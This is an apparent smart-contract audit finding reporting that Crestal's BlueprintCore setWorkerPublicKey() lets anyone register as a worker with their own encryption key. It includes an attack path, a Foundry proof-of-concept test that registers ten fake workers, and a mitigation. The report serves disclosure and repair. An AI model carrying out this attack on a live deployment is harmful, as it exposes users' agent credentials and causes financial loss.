Old Latte Bull

High

# Anyone can set malicious workers and set a malicious encryption key

### Summary

Workers have a critical role on the system, they are the ones who do the real deployment, and they are trusted with confidential agent information such as credentials. The function `setWorkerPublicKey()` allows anyone to be a worker and add an encryption public key, which leads to exposing sensitive information, sabotaging the deployment process, and causing financial loss to users.

### Root Cause

Here's the vulnerable function at [`BlueprintCore:688`](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L688-L695): 
```solidity
    // set worker public key
    function setWorkerPublicKey(bytes calldata publicKey) public {
        if (workersPublicKey[msg.sender].length == 0) {
            workerAddressesMp[WORKER_ADDRESS_KEY].push(msg.sender);
        }

        workersPublicKey[msg.sender] = publicKey;
    }
```
It adds the msg.sender with no checks to the mapping `workerAddressesMp`, then sets the `workersPublicKey` to the public key of choice.

### Attack path

To understand the serious dangers of the vulnerability, we need to understand what's this public key is used for, here's an explanation by the sponsor :

> ![Image](https://sherlock-files.ams3.digitaloceanspaces.com/gh-images/b5e2029a-d6ce-497b-acc4-75ca075d3488)


1. Since there is no authentication or validation in setWorkerPublicKey(), any malicious actor can spam this function with many fake workers to increase the likelihood that a user will stumble across one of them.
2. Users, unaware of the fraud, encrypt sensitive data using the malicious public key.
3. The malicious worker has the corresponding private key, decrypts the data, exposing agent credentials, configurations, and other sensitive deployment details. ( decryption is done off-chain ).
4. The malicious worker can choose not to perform the deployment, sabotaging the system and causing financial loss to the user.


### Internal Pre-conditions

The victim needs to choose one of the malicious workers, the attacker can increase the likelihood of this by automating the registration of so many workers until they exceed the number of legit workers.

### External Pre-conditions

N/A

### Impact

- Sabotaging the deployment process: The malicious worker can choose not to deploy.
- Financial loss to users, since `createAgent()` costs money , ( check [line 464](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L464) ), so not performing the real deployment off-chain after the user has called `createAgent()` will cause financial damage to users.
- Attacker gets sensitive agent data, such as credentials, configurations, and other deployment details.

### PoC
- Run `forge test --mt test_anyoneCanRegisterMaliciousWorkers -vvvv`

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test, console} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {BlueprintV5} from "../src/BlueprintV5.sol";
import {BlueprintCore} from "../src/BlueprintCore.sol";
import {Blueprint} from "../src/Blueprint.sol";
import {stdError} from "forge-std/StdError.sol";
import {MockERC20} from "./MockERC20.sol";

contract AuditTest is Test {
    BlueprintV5 public blueprint;
    MockERC20 public mockToken;
    bytes32 public projectId;
    address public workerAddress;
    address public workerAddress2; // Second worker (attacker)
    address public dummyAddress;
    address public user = address(0x1338);
    address public attacker = address(0x1337);
    bytes public x;

    function setUp() public {
        blueprint = new BlueprintV5();
        blueprint.initialize(); // Mimic upgradeable contract deploy behavior

        mockToken = new MockERC20();

        // Set crestal wallet address
        blueprint.setFeeCollectionWalletAddress(address(0x7D8be0Dd8915E3511fFDDABDD631812be824f578));
        blueprint.addPaymentAddress(address(mockToken));
        blueprint.setCreateAgentTokenCost(address(mockToken), 10e18);
        projectId = bytes32(0x2723a34e38d0f0aa09ce626f00aa23c0464b52c75516cf3203cc4c9afeaf2980);
        workerAddress = address(0x4d6585D89F889F29f77fd7Dd71864269BA1B31df);
        workerAddress2 = makeAddr("worker2"); // Attacker worker
        dummyAddress = address(0);
    }

    function test_anyoneCanRegisterMaliciousWorkers() public {

        // 1 - attacker registers many malicious workers
        bytes memory MaliciousPublicKey = "dummy_public_key"; // in a real world scenario this will be a real public key
        for (uint160 i = 1; i <= 10; i++) {                  // that the attacker holds its corresponding private key
            vm.startPrank(address(i));
            blueprint.setWorkerPublicKey(MaliciousPublicKey);
            x = blueprint.getWorkerPublicKey(address(i));
            console.log(string(x));
        }

        assertEq(blueprint.getWorkerAddresses().length, 10);
        

        // All malicous workers are registered and they exceeded the number of legit workers, 
        // now the likelihood that a user will choose one of them is high


        // 2 - victim calls getWorkerAddresses, chooses a malicious worker and calls createAgentWithToken
        vm.startPrank(user);
        address[] memory maliciousWorkers = blueprint.getWorkerAddresses();
        address maliciousWorker = maliciousWorkers[0];
        console.log(maliciousWorker);
        deal(address(mockToken), user, 10e18);
        mockToken.approve(address(blueprint), 10e18);
        blueprint.createAgentWithToken(projectId, "test base64 proposal", maliciousWorker, "http://example.com", address(mockToken));
        
        // 3 - Encryption and decryption happen off-chain

        // 4 - Malicious worker gets the sensitive data, and doesn't deploy, causing financial loss to the user.
    }
}
```

### Mitigation

Add access control checks to the function `setWorkerPublicKey()`.